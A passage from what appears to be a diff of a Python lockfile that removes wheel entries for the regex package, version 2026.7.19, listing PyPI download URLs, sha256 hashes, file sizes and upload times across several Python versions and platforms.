"sha256:6f8c6e7a1cfa3dc9d0ee2de0e65e834537fa29992cc3976ffec914afc35c5dd5", size = 854736, upload-time = "2026-07-19T00:16:54.607Z" }, - { url = "https://files.pythonhosted.org/packages/62/c3/668082bcc817b9e694189b84997aeba7385b7779faa6711788679c482e35/regex-2026.7.19-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:b2ea4a3e8357be8849e833beeae757ac3c7a6b3fc055c03c808a53c91ad30d82", size = 763298, upload-time = "2026-07-19T00:16:56.289Z" }, - { url = "https://files.pythonhosted.org/packages/4b/fb/2d07ad555e7af88aa5f867fdafa47a8d945ee237c20af3ebceb46a820835/regex-2026.7.19-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:80115dd39481fd3a4b4080220799dbcacb921a844de4b827264ececacbe17c78", size = 844430, upload-time = "2026-07-19T00:16:57.933Z" }, - { url = "https://files.pythonhosted.org/packages/51/15/c82a471fe3dce56f03745635b43aa456c40dc0db089e07ef148b331507d1/regex-2026.7.19-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d6ce43a0269d68cee79a7d1ade7def53c20f8f2a047b92d7b5d5bcc73ae88327", size = 789683, upload-time = "2026-07-19T00:16:59.583Z" }, - { url = "https://files.pythonhosted.org/packages/b5/f4/7532a2c59d56f5398902c20de60f0c9a5d1cd364e42a051b48e1b210be7b/regex-2026.7.19-cp311-cp311-win32.whl", hash = "sha256:9be2a6647740dd3cca6acb24e87f03d7632cd280dbce9bbe40c26353a215a45d", size = 266778, upload-time = "2026-07-19T00:17:01.032Z" }, - { url = "https://files.pythonhosted.org/packages/83/2b/cf1bc631db154eb95520d9d5dbc2371ff77a0f014bbf7d748fed8496aa63/regex-2026.7.19-cp311-cp311-win_amd64.whl", hash = "sha256:8d3469c91dd92ee41b7c95280edbd975ef1ba9195086686623a1c6e8935ce965", size = 277983, upload-time = "2026-07-19T00:17:02.571Z" }, - { url = "https://files.pythonhosted.org/packages/8d/bd/56ceaf170e875d5a6761bf2bfd0d040f1cacc896850d5e40cb29b11bbd06/regex-2026.7.19-cp311-cp311-win_arm64.whl", hash = "sha256:36aacfb15faaff3ced55afbf35ec72f50d4aee22082c4f7fe0573a33e2fca92e", size = 276961, upload-time = "2026-07-19T00:17:04.135Z" }, - { url = "https://files.pythonhosted.org/packages/3b/b9/d11d7e501ac8fd7d617684423ebb9561e0b998481c1e4cbc0cb212c5d74a/regex-2026.7.19-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2cc3460cedf7579948486eab03bc9ad7089df4d7281c0f47f4afe03e8d13f02d", size = 496778, upload-time = "2026-07-19T00:17:05.677Z" }, - { url = "https://files.pythonhosted.org/packages/3f/a9/a5ab6f312f24318019170dc485d5421fe4f89e43a98640da50d95a8a7041/regex-2026.7.19-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0e9554c8785eac5cffe6300f69a91f58ba72bc88a5f8d661235ad7c6aa5b8ccd", size = 297122, upload-time = "2026-07-19T00:17:07.59Z" }, - { url = "https://files.pythonhosted.org/packages/b3/63/4cab4d7f2d384a144d420b763d97674cb70619c878ea6fcd7640d0e62143/regex-2026.7.19-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d7da47a0f248977f08e2cb659ff3c17ddc13a4d39b3a7baa0a81bf5b415430f6", size = 292009, upload-time = "2026-07-19T00:17:09.648Z" }, - { url = "https://files.pythonhosted.org/packages/22/85/102a81b218298957d4ea7d2f084fae537a71add9d6ff93c8e67284c5f45e/regex-2026.7.19-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93db40c8de0815baab96a06e08a984bac71f989d13bab789e382158c5d426797", size = 796708, upload-time = "2026-07-19T00:17:11.542Z" }, - { url = "https://files.pythonhosted.org/packages/78/b5/dc136af5629938a037cd2b304c12240e132ec92f38be8ff9cc89af2a1f2d/regex-2026.7.19-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:66bd62c59a5427746e8c44becae1d9b99d22fb13f30f492083dfb9ad7c45cc18", size = 865651, upload-time = "2026-07-19T00:17:13.312Z" }, - { url = "https://files.pythonhosted.org/packages/e0/75/67402ae3cd9c8c988a4c805d15ee3eef015e7ca4cb112cf3e640fc1f4153/regex-2026.7.19-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1649eb39fcc9ea80c4d2f110fde2b8ab2aef3877b98f02ab9b14e961f418c511", size = 911756, upload-time = "2026-07-19T00:17:15.015Z" }, - { url = "https://files.pythonhosted.org/packages/2a/8e/096d00c7c480ef2ff4265349b14e2261d4ab787ba1f74e2e80d1c58079c3/regex-2026.7.19-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9dce8ec9695f531a1b8a6f314fd4b393adcccf2ea861db480cdf97a301d01a68", size = 801798, upload-time = "2026-07-19T00:17:17.208Z" }, - { url = "https://files.pythonhosted.org/packages/f0/41/e7ecac6edb5722417f85cc67eaf386322fbe8acf6918ec2fdc37c20dd9d0/regex-2026.7.19-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3080a7fd38ef049bd489e01c970c97dd84ff446a885b0f1f6b26d9b1ad13ce11", size = 776933, upload-time = "2026-07-19T00:17:19.347Z" }, - { url = "https://files.pythonhosted.org/packages/6f/69/03c9b3f058d66403e0ca2c938696e81d51cd4c6d47ec5265f02f96948d9a/regex-2026.7.19-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1d793a7988e04fcb1e2e135567443d82173225d657419ec09414a9b5a145b986", size = 784338, upload-time = "2026-07-19T00:17:21.057Z" }, - { url = "https://files.pythonhosted.org/packages/f6/f7/b38ab3d43f284afbb618fcd15d0e77eb786ae461ce1f6bc7494619ddc0f2/regex-2026.7.19-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b0abe7d870f53ca5143895fef7d1041a0c831a140d3dc2c760dd7ba25d4a8b", size = 860452, upload-time = "2026-07-19T00:17:23.119Z" }, - { url = "https://files.pythonhosted.org/packages/15/5c/ff60ef0571121714f3cf9920bc183071e384a10b556d042e0fdb06cc07a5/regex-2026.7.19-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:4e5413bd5f13d3a4e3539ca98f70f75e7fca92518dd7f117f030ebedd10b60cb", size = 765958, upload-time = "2026-07-19T00:17:24.81Z" }, - { url = "https://files.pythonhosted.org/packages/aa/0f/bd34021162c0ab47f9a315bd56cd5642e920c8e5668a75ef6c6a6fca590d/regex-2026.7.19-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:73b133a9e6fb512858e7f065e96f1180aa46646bc74a83aea62f1d314f3dd035", size = 851765, upload-time = "2026-07-19T00:17:26.993Z" }, - { url = "https://files.pythonhosted.org/packages/2a/20/a2ca43edade0595cccfdc98636739f536d9e26898e7dbddc2b9e98898953/regex-2026.7.19-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dbe6493fbd27321b1d1f2dd4f5c7e5bd4d8b1d7cab7f32fd67db3d0b2ed8248a", size = 789714, upload-time = "2026-07-19T00:17:28.699Z" }, - { url = "https://files.pythonhosted.org/packages/5d/47/e02db4015d424fc83c00ea0ac8c5e5ec14397943de9abf909d5ce3a25931/regex-2026.7.19-cp312-cp312-win32.whl", hash = "sha256:ddd67571c10869f65a5d7dde536d1e066e306cc90de57d7de4d5f34802428bb5", size = 267157, upload-time = "2026-07-19T00:17:31.051Z" }, - { url = "https://files.pythonhosted.org/packages/08/8e/c780c131f79b42ed22d1bd7da4096c2c35f813e835acd02ef0f018bd892c/regex-2026.7.19-cp312-cp312-win_amd64.whl", hash = "sha256:e30d40268a28d54ce0437031750497004c22602b8e3ab891f759b795a003b312", size = 277777, upload-time = "2026-07-19T00:17:32.848Z" }, - { url = "https://files.pythonhosted.org/packages/3e/4c/e4d7e086449bdf379d89774bf1f89dc4a41943f3c5a6125a03905b34b5fb/regex-2026.7.19-cp312-cp312-win_arm64.whl", hash = "sha256:de9208bb427130c82a5dbfd104f92c8876fc9559278c880b3002755bbbe9c83d", size = 277136, upload-time = "2026-07-19T00:17:34.803Z" }, - { url = "https://files.pythonhosted.org/packages/5d/3d/84165e4299ff76f3a40fe1f2abf939e976f693383a08d2beea6af62bd2c1/regex-2026.7.19-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f035d9dc1d25eff9d361456572231c7d27b5ccd473ca7dc0adfce732bd006d40", size = 496552, upload-time = "2026-07-19T00:17:36.808Z" }, - { url = "https://files.pythonhosted.org/packages/02/a2/a65293e6e4cf28eb7ee1be5335a5386c40d6742e9f47fafc8fec785e16c7/regex-2026.7.19-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c42572142ed0b9d5d261ba727157c426510da78e20828b66bbb855098b8a4e38", size = 296983, upload-time = "2026-07-19T00:17:38.816Z" }, - { url = "https://files.pythonhosted.org/packages/95/47/2d0564e93d87bc48618360ddca232a2ca612bbdf53ce8465d45ca5ce14ee/regex-2026.7.19-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:40b34dd88658e4fedd2fddbf0275ac970d00614b731357f425722a3ed1983d11", size = 291832, upload-time = "2026-07-19T00:17:40.726Z" }, - { url = "https://files.pythonhosted.org/packages/07/cd/42dfbabff3dfc9603c501c0e2e2c5adbb09d127b267bf5348de0af338c15/regex-2026.7.19-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c41c63992bf1874cebb6e7f56fd7d3c007924659a604ae3d90e427d40d4fd13", size = 796775, upload-time = "2026-07-19T00:17:42.382Z" }, - { url = "https://files.pythonhosted.org/packages/df/5d/f6a4839f2b934e3eed5973fd07f5929ee97d4c98939fb275ea23c274ee16/regex-2026.7.19-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d3372064506b94dd2c67c845f2db8062e9e9ba84d04e33cb96d7d33c11fe1ae", size = 865687, upload-time = "2026-07-19T00:17:44.185Z" }, - { url = "https://files.pythonhosted.org/packages/14/b0/b47d6c36049bc59806a50bd4c86ced70bbe058d787f80281b1d7a9b0e024/regex-2026.7.19-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fce7760bf283405b2c7999cab3da4e72f7deca6396013115e3f7a955db9760da", size = 911962, upload-time = "2026-07-19T00:17:46.442Z" }, - { url = "https://files.pythonhosted.org/packages/2a/be/ff61f28f9273658cfe23acbbac5217221f6519960ed401e61dfdab12bc35/regex-2026.7.19-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0d702548d89d572b2929879bc883bb7a4c4709efafe4512cadee56c55c9bd15", size = 801817, upload-time = "2026-07-19T00:17:48.25Z" }, - { url = "https://files.pythonhosted.org/packages/c3/bb/8b4f7f26b333f9f79e1b453613c39bb4776f51d38ae66dd0ba31d6b354ca/regex-2026.7.19-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d446c6ac40bb6e05025ccee55b84d80fe9bf8e93010ffc4bb9484f13d498835f", size = 776908, upload-time = "2026-07-19T00:17:50.183Z" }, - { url = "https://files.pythonhosted.org/packages/09/13/610110fc5921d380516d03c26b652555f08aa0d23ea78a771231873c3638/regex-2026.7.19-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4c3501bfa814ab07b5580741f9bf78dfdfe146a04057f82df9e2402d2a975939", size = 784426, upload-time = "2026-07-19T00:17:52.454Z" }, - { url = "https://files.pythonhosted.org/packages/ca/f5/1ef9e2a83a5947c57ebff0b377cb5727c3d5ec1992317a320d035cd0dbb6/regex-2026.7.19-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c4585c3e64b4f9e583b4d2683f18f5d5d872b3d71dcf24594b74ecc23602fa96", size = 860600, upload-time = "2026-07-19T00:17:54.229Z" }, - { url = "https://files.pythonhosted.org/packages/a0/02/073af33a3ec149241d11c80acea91e722aa0adbf05addd50f251c4fe89c3/regex-2026.7.19-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:571fde9741eb0ccde23dd4e0c1d50fbae910e901fa7e629faf39b2dda740d220", size = 765950, upload-time = "2026-07-19T00:17:56.041Z" }, - { url = "https://files.pythonhosted.org/packages/81/a9/d1e9f819dc394a568ef370cd56cf25394e957a2235f8370f23b576e5a475/regex-2026.7.19-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:15b364b9b98d6d2fe1a85034c23a3180ff913f46caddc3895f6fd65186255ccc", size = 851794, upload-time = "2026-07-19T00:17:57.897Z" }, - { url = "https://files.pythonhosted.org/packages/03/3a/8ae83eda7579feacdf984e71fb9e70635fb6f832eeddca58427ec4fca926/regex-2026.7.19-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffd8893ccc1c2fce6e0d6ca402d716fe1b29db70c7132609a05955e31b2aa8f2", size = 789845, upload-time = "2026-07-19T00:17:59.97Z" }, - { url = "https://files.pythonhosted.org/packages/4b/23/c195cbfe5a75fdec64d8f6554fd15237b837919d2c61bdc141d7c807b08b/regex-2026.7.19-cp313-cp313-win32.whl", hash = "sha256:f0fa4fa9c3632d708742baf2282f2055c11d888a790362670a403cbf48a2c404", size = 267135, upload-time = "2026-07-19T00:18:01.958Z" }, - { url = "https://files.pythonhosted.org/packages/b2/80/a11de8404b7272b70acb45c1c05987cce60b45d5693da2e176f0e390d564/regex-2026.7.19-cp313-cp313-win_amd64.whl", hash = "sha256:d51ffd3427640fa2da6ade574ceba932f210ad095f65fcc450a2b0a0d454868e", size = 277747, upload-time = "2026-07-19T00:18:04.121Z" }, - { url = "https://files.pythonhosted.org/packages/d1/29/0f5c8eff1b4f1f3d83276d365fccecf666afcc7d947420943bf394d07adb/regex-2026.7.19-cp313-cp313-win_arm64.whl", hash = "sha256:c670fe7be5b6020b76bc6e8d2196074657e1327595bca93a389e1a76ab130ad8", size = 277129, upload-time = "2026-07-19T00:18:05.821Z" }, - { url = "https://files.pythonhosted.org/packages/dc/4c/44b74742052cedda40f9ae469532a037112f7311a36669a891fba8984bb0/regex-2026.7.19-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:db47b561c9afd884baa1f96f797c9ca369872c4b65912bc691cfa99e68340af2", size = 501134, upload-time = "2026-07-19T00:18:07.567Z" }, - { url = "https://files.pythonhosted.org/packages/f0/45/bbd038b5e39ee5613a5a689290145b40058cc152c41de9cc23639d2b9734/regex-2026.7.19-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:65dcd28d3eba2ab7c2fd906485cc301392b47cc2234790d27d4e4814e02cdfda", size = 299418, upload-time = "2026-07-19T00:18:09.38Z" }, - { url = "https://files.pythonhosted.org/packages/65/38/c5bde94b4cedfd5850d64c3f08222d8e1600e84f6ee71d9b44b4b8163f74/regex-2026.7.19-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f2e7f8e2ab6c2922be02c7ec45185aa5bd771e2e57b95455ee343a44d8130dff", size = 294486, upload-time = "2026-07-19T00:18:11.188Z" }, - { url = "https://files.pythonhosted.org/packages/d7/6a/2f5e107cb26c960b781967178899daf2787a7ab151844ed3c01d6fc95474/regex-2026.7.19-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fe31f28c94402043161876a258a9c6f757cb485905c7614ce8d6cd40e6b7bdc1", size = 811643, upload-time = "2026-07-19T00:18:12.975Z" }, - { url = "https://files.pythonhosted.org/packages/37/d4/a2f963406d7d73a62eed84ba05a258afb6cad1b21aa4517443ce40506b78/regex-2026.7.19-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8f6fa298bb4f7f58a33334406218ba74716e68feddf5e4e54cd5d8082705abf", size = 871081, upload-time = "2026-07-19T00:18:14.733Z" }, - { url = "https://files.pythonhosted.org/packages/45/a3/44be546340bedb15f13063f5e7fe16793ea4d9ea2e805d09bd174ac27724/regex-2026.7.19-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cc1b2440423a851fad781309dd87843868f4f66a6bcd1ddb9225cf4ec2c84732", size = 917372, upload-time = "2026-07-19T00:18:16.724Z" }, - { url = "https://files.pythonhosted.org/packages/f8/f6/e0870b0fd2a40dba0074e4b76e514b21313d37946c9248453e34ec43923e/regex-2026.7.19-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ac59a0900474a52b7c04af8196affc22bd9842acb0950df12f7b813e983609a", size = 816089, upload-time = "2026-07-19T00:18:18.617Z" }, - { url = "https://files.pythonhosted.org/packages/ae/27/957e8e22690ad6634572b39b71f130a6105f4d0718bb16849eac00fff147/regex-2026.7.19-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4896db1f4ce0576765b8272aa922df324e0f5b9bb2c3d03044ff32a7234a9aba", size = 785206, upload-time = "2026-07-19T00:18:20.464Z" }, - { url = "https://files.pythonhosted.org/packages/76/a4/186e410941e731037c01166069ab86da9f65e8f8110c18009ccf4bd623ee/regex-2026.7.19-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4e6883a021db30511d9fb8cfb0f222ce1f2c369f7d4d8b0448f449a93ba0bdfc", size = 800431, upload-time = "2026-07-19T00:18:22.716Z" }, - { url = "https://files.pythonhosted.org/packages/73/9f/e4e10e023d291d64a33e246610b724493bf1ce98e0e59c9b7c837e5acfb7/regex-2026.7.19-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:09523a592938aa9f587fb74467c63ff0cf88fc3df14c82ab0f0517dcf76aaa62", size = 864906, upload-time = "2026-07-19T00:18:24.772Z" }, - { url = "https://files.pythonhosted.org/packages/24/57/ccb20b6be5f1f52a053d1ba2a8f7a077edb9d918248b8490d7506c6832b3/regex-2026.7.19-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:1ebac3474b8589fce2f9b225b650afd61448f7c73a5d0255a10cc6366471aed1", size = 773559, upload-time = "2026-07-19T00:18:27.008Z" }, - { url = "https://files.pythonhosted.org/packages/a3/82/f3b263cf8fad927dc102891da8502e718b7ff9d19af7a2a07c03865d7188/regex-2026.7.19-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:4a0530bb1b8c1c985e7e2122e2b4d3aedd8a3c21c6bfddae6767c4405668b56e", size = 857739, upload-time = "2026-07-19T00:18:29.107Z" }, - { url = "https://files.pythonhosted.org/packages/47/2e/1687bd1b6c2aed5e672ccf845fc11557821fe7366d921b50889ea5ce57bf/regex-2026.7.19-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef7eeb108c47ce7bcc9513e51bcb1bf57e8f483d52fce68a8642e3527141ae0", size = 804522, upload-time = "2026-07-19T00:18:31.362Z" }, - { url = "https://files.pythonhosted.org/packages/76/7c/cc4e7655181b2d9235b704f2c5e19d8eff002bbc437bae59baee0e381aca/regex-2026.7.19-cp313-cp313t-win32.whl", hash = "sha256:64b6ca7391a1395c2638dd5c7456d67bea44fc6c5e8e92c5dc8aa6a8f23292b4", size = 269141, upload-time = "2026-07-19T00:18:33.479Z" }, - { url = "https://files.pythonhosted.org/packages/bb/14/961b4c7b05a2391c32dbc85e27773076671ef8f97f36cec70fe414734c02/regex-2026.7.19-cp313-cp313t-win_amd64.whl", hash = "sha256:f04b9f56b0e0614c0126be12c2c2d9f8850c1e57af302bd0a63bed379d4af974", size = 280036, upload-time = "2026-07-19T00:18:35.419Z" }, - { url = "https://files.pythonhosted.org/packages/ce/67/795644550d788ddbb6dc458c95895f8009978ea6d6ea76b005eb3f45e8c9/regex-2026.7.19-cp313-cp313t-win_arm64.whl", hash = "sha256:fcee38cd8e5089d6d4f048ba1233b3ad76e5954f545382180889112ff5cb712d", size = 279394, upload-time = "2026-07-19T00:18:37.454Z" }, - { url = "https://files.pythonhosted.org/packages/d2/25/0c4c452f8ef3efe456745b2f33195f5904b573fb4c2ff3f0cb9ec188461e/regex-2026.7.19-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:a81758ed242b861b72e778ba34d41366441a2e10b16b472784c88da2dea7e2dd", size = 496750, upload-time = "2026-07-19T00:18:39.633Z" }, - { url = "https://files.pythonhosted.org/packages/24/9e/b70ca6c1704f6c7cd32a9e143c86cc5968d10981eca284bad670c245ea7d/regex-2026.7.19-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4aa5435cdb3eb6f55fe98a171b05e3fbcd95fadaa4aa32acf62afd9b0cfdbcac", size = 297093, upload-time = "2026-07-19T00:18:41.583Z" }, - { url = "https://files.pythonhosted.org/packages/87/74/0b692da2520d51fbff19c88b83d97e4c702909dd02386c585998b7e2dbed/regex-2026.7.19-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:60be8693a1dadc210bbcbc0db3e26da5f7d01d1d5a3da594e99b4fa42df404f5", size = 292043, upload-time = "2026-07-19T00:18:43.347Z" }, - { url = "https://files.pythonhosted.org/packages/e3/a7/1d478e614016045a33feae57446215f9fd65b665a5ceb2f891fb3183bc52/regex-2026.7.19-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d19662dbedbe783d323196312d38f5ba53cf56296378252171985da6899887d3", size = 797214, upload-time = "2026-07-19T00:18:45.362Z" }, - { url = "https://files.pythonhosted.org/packages/aa/ae/11b9c9411d92c30e3d2db32df5a31133e4a99a8fc397a604fd08f6c4bffb/regex-2026.7.19-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d15df07081d91b76ff20d43f94592ee110330152d617b730fdbe5ef9fb680053", size = 866433, upload-time = "2026-07-19T00:18:47.315Z" }, - { url = "https://files.pythonhosted.org/packages/b1/62/2b2efc4992f91d6d204b24c647c9f9412e85379d92b7c0ab9fdae622327e/regex-2026.7.19-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:56ad4d9f77df871a99e25c37091052a02528ec0eb059de928ee33956b854b45b", size = 911360, upload-time = "2026-07-19T00:18:49.588Z" }, - { url = "https://files.pythonhosted.org/packages/14/71/986ceea9aa3da548bf1357cad89b63915ec6d21ec957c8113b29ece567df/regex-2026.7.19-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7322ec6cc9fba9d49ab888bb82d67ac5625627aa168f0165139b17018df3fb8a", size = 801275, upload-time = "2026-07-19T00:18:51.767Z" }, - { url = "https://files.pythonhosted.org/packages/15/be/ce9d9534b2cda96eab32c548261224b9b4e220a4126f098f60f42ae7b4cd/regex-2026.7.19-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9c7472192ebfad53a6be7c4a8bfb2d64b81c0e93a1fc8c57e1dd0b638297b5d1", size = 777131, upload-time = "2026-07-19T00:18:54.053Z" }, - { url = "https://files.pythonhosted.org/packages/61/2b/58b5c710f2c3929515a25f3a1ca0dad0dcd4518d4fff3cf23bc7adb8dcd2/regex-2026.7.19-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c10b82c2634df08dfb13b1f04e38fe310d086ee092f4f69c0c8da234251e556e", size = 785020, upload-time = "2026-07-19T00:18:56.579Z" }, - { url = "https://files.pythonhosted.org/packages/84/03/5fe091935b74f15fe0f97998c215cae418d1c0413f6258c7d4d2e83aa37f/regex-2026.7.19-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:17ed5692f6acc4183e98331101a5f9e4f64d72fe58b753da4d444a2c77d05b12", size = 861263, upload-time = "2026-07-19T00:18:58.64Z" }, - { url = "https://files.pythonhosted.org/packages/d8/fa/d60bf82e10841eef62a9e32aac401468f05fddfbcb2942e342b1ba3d2433/regex-2026.7.19-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:22a992de9a0d91bda927bf02b94351d737a0302905432c88a53de7c4b9ce62e2", size = 766199, upload-time = "2026-07-19T00:19:00.705Z" }, - { url = "https://files.pythonhosted.org/packages/bf/5d/11e64d151b0662b81d6bf644c74dc118d461df85bdf2577fadbbf751788a/regex-2026.7.19-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:618a0aed532be87294c4477b0481f3aa0f1520f4014a4374dd4cf789b4cd2c97", size = 851317, upload-time = "2026-07-19T00:19:03.015Z" }, - { url = "https://files.pythonhosted.org/packages/7c/34/532efb87488d90807bae6a443d357ee5e2728a478c597619c8aaa17cc0bd/regex-2026.7.19-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ce9e679f776649746729b6c86382da519ef649c8e34cc41df0d2e5e0f6c36d4", size = 789557, upload-time = "2026-07-19T00:19:05.338Z" }, - { url = "https://files.pythonhosted.org/packages/d6/90/3a8d5ca977171ec3ae21a71207d2228b2663bde14d7f7ef0e6363ecf9290/regex-2026.7.19-cp314-cp314-win32.whl", hash = "sha256:73f272fba87b8ccfe70a137d02a54af386f6d27aa509fbffdd978f5947aae1aa", size = 272531, upload-time = "2026-07-19T00:19:07.487Z" }, - { url = "https://files.pythonhosted.org/packages/96/e1/8862885e70409de70e8c005f57fb2e7be8d9ef0317250d60f4c9660a300d/regex-2026.7.19-cp314-cp314-win_amd64.whl", hash = "sha256:d721e53758b2cca74990185eb0671dd466d7a388a1a45d0c6f4c13cef41a68ac", size = 280831, upload-time = "2026-07-19T00:19:09.46Z" }, - { url = "https://files.pythonhosted.org/packages/08/82/2693e53e29f9104d9de95d37ce4dd826bd32d5f9c0085d3aa6ac042675c4/regex-2026.7.19-cp314-cp314-win_arm64.whl", hash = "sha256:65fa6cb38ed5e9c3637e68e544f598b39c3b86b808ed0627a67b68320384b459", size = 281099, upload-time = "2026-07-19T00:19:11.398Z" }, - { url = "https://files.pythonhosted.org/packages/92/b7/9a01aa16461a18cde9d7b9c3ab21e501db2ce33725f53014342b91df2b0a/regex-2026.7.19-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:5a2721c8720e2cb3c209925dfb9200199b4b07361c9e01d321719404b21458b3", size = 501121, upload-time = "2026-07-19T00:19:13.425Z" }, - { url = "https://files.pythonhosted.org/packages/f3/5e/bbaeca815dc9191c424c94a4fdc5c87c75748a64a6271821212ebdd4e1a3/regex-2026.7.19-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:199535629f25caf89698039af3d1ad5fcae7f933e2112c73f1cdf49165c99518", size = 299415, upload-time = "2026-07-19T00:19:15.43Z" }, - { url = "https://files.pythonhosted.org/packages/cd/d6/0dd1a321afaab95eb7ff44aa0f637301786f1dc71c6b797b9ed236ed8890/regex-2026.7.19-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b60d7814174f059e5de4ab98271cc5ba9259cfea55273a81544dceea32dc8d9", size = 294483, upload-time = "2026-07-19T00:19:17.879Z" }, - { url = "https://files.pythonhosted.org/packages/92/5f/40bacf91d0904f812e13bbbab3864604c463eced8afdc54aeaa50492ea95/regex-2026.7.19-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dbece16025afda5e3031af0c4059207e61dcf73ef13af844964f57f387d1c435", size = 811833, upload-time = "2026-07-19T00:19:20.102Z" }, - { url = "https://files.pythonhosted.org/packages/94/7c/4902744261f775aeede8b5627314b38482da29cf49a57b66a6fb753246c5/regex-2026.7.19-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d24ecb4f5e009ea0bd275ee37ad9953b32005e2e5e60f8bbae16da0dbbf0d3a0", size = 871270, upload-time = "2026-07-19T00:19:22.365Z" }, - { url = "https://files.pythonhosted.org/packages/16/70/6980c9be6bf21c0a60ed3e0aea39cf419ecf3b08d1d9947bc56e196ef186/regex-2026.7.19-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8cae6fd77a5b72dae505084b1a2ee0360139faf72fedbab667cd7cc65aae7a6a", size = 917534, upload-time = "2026-07-19T00:19:24.529Z" }, - { url = "https://files.pythonhosted.org/packages/52/92/8b2bd872782ce8c42691e39acb38eb8efe014e5ddb78ad7d943d6f197ce9/regex-2026.7.19-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9724e6cb5e478cd7d8cabf027826178739cb18cf0e117d0e32814d479fa02276", size = 816135, upload-time = "2026-07-19T00:19:26.919Z" }, - { url = "https://files.pythonhosted.org/packages/de/2d/33a602f657bdc4041f17d79f92ab18261d255d91a06117a6e29df023e5e2/regex-2026.7.19-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:572fc57b0009c735ee56c175ea021b637a15551a312f56734277f923d6fd0f6c", size = 785492, upload-time = "2026-07-19T00:19:29.192Z" }, - { url = "https://files.pythonhosted.org/packages/9e/36/0987cf4cb271680064a70d24a475873775a151d0b7058698a006cb0cae4a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:20568e182eb82d39a6bf7cff3fd58566f14c75c6f74b2c8c96537eecf9010e3a", size = 